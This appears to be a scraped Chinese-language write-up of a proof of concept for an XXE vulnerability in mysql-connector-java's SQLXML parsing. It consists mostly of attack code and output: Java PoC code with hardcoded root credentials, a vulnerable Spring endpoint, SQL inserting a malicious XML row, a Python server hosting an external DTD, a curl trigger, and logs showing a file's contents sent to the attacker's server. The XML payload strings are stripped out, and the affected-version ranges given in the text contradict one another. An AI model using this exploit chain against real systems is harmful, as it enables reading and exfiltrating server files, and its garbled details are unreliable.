1
2
infected: mysql-connector-java <= 8.0.36
fixed: mysql-connector-java > 8.0.37
漏洞分析参见:https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private static final String connection_url = "jdbc:mysql://192.168.64.137:3306/sqlxmltest";
private static final String connection_user = "root";
private static final String connection_pass = "root";
private static final String poc = "" +
"" +
"]>" +
"&xxe;";
public static void poc() throws Exception {
Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass);
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
}
MySQL
中没有 SQLXML
类型,建表的时候选择字符串类型即可。
1
2
3
4
create table RSS_FEEDS
(RSS_NAME varchar(32) NOT NULL,
RSS_FEED_XML longtext NOT NULL,
PRIMARY KEY (RSS_NAME));
1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`)
VALUES ('NORMAL',
'\r\n\r\n <constant name=\"struts.i18n.encoding\" value=\"gb2312\">324\r\n <package name=\"stuts2\" extends=\"struts-default\">\r\n <action name=\"login\" class=\"ActionUnit.Person\">\r\n <result name=\"s\">1_1.jsp\r\n <result name=\"t\">1_2.jsp\r\n <result name=\"m\">1_3.jsp\r\n <result name=\"fail\">1_4.jsp\r\n \r\n <action name=\"modifyPassword\" class=\"student.ModifyPassword\">\r\n <result name=\"success\">2_1.jsp\r\n <result name=\"fail\">2_2.jsp\r\n \r\n <action name=\"studentquery\" class=\"student.QueryScore\">\r\n <result name=\"success\">3_1.jsp\r\n <result name=\"false\">3_2.jsp\r\n \r\n <action name=\"infoquery\" class=\"student.QueryInfo\">\r\n <result name=\"success\">4_1.jsp\r\n <result name=\"false\">4_2.jsp\r\n \r\n \r\n');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping(value = "/get/{rss_name}")
public String get_sql_xml(@PathVariable("rss_name") String rss_name) throws Exception {
Connection con = DriverManager.getConnection(connection_url, connection_user,connection_pass);
String selectRowQuery =
"select RSS\_NAME, RSS\_FEED\_XML " +
"from RSS\_FEEDS " +
"WHERE RSS\_NAME = ?";
PreparedStatement selectRow = con.prepareStatement(selectRowQuery);
selectRow.setString(1, rss\_name);
ResultSet resultSet = selectRow.executeQuery();
resultSet.next();
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);
return domSource.getNode().getNodeName();
}
SQL
注入或者数据库访问来修改数据1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`)
VALUES ('READFILE',
'&xxe;');
dtd
文件1
2
3
%all;
web server
1
python -m SimpleHTTPServer 8041
1
curl -vv 'http://192.168.64.137:8080/get/READFILE'
web server
收到 dtd
下载请求和 key
文件读取成功的报文1
2
3
4
5
6
$ python -m SimpleHTTPServer 8041 1 ⨯
Serving HTTP on 0.0.0.0 port 8041 ...
192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /xxe.dtd HTTP/1.1" 200 -
192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /?key=3c0bac92-977a-4cb5-afa7-32b2e83605bf HTTP/1.1" 200 -
1
mysql-connector-java-8.0.26.jar or lower version
1
2
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);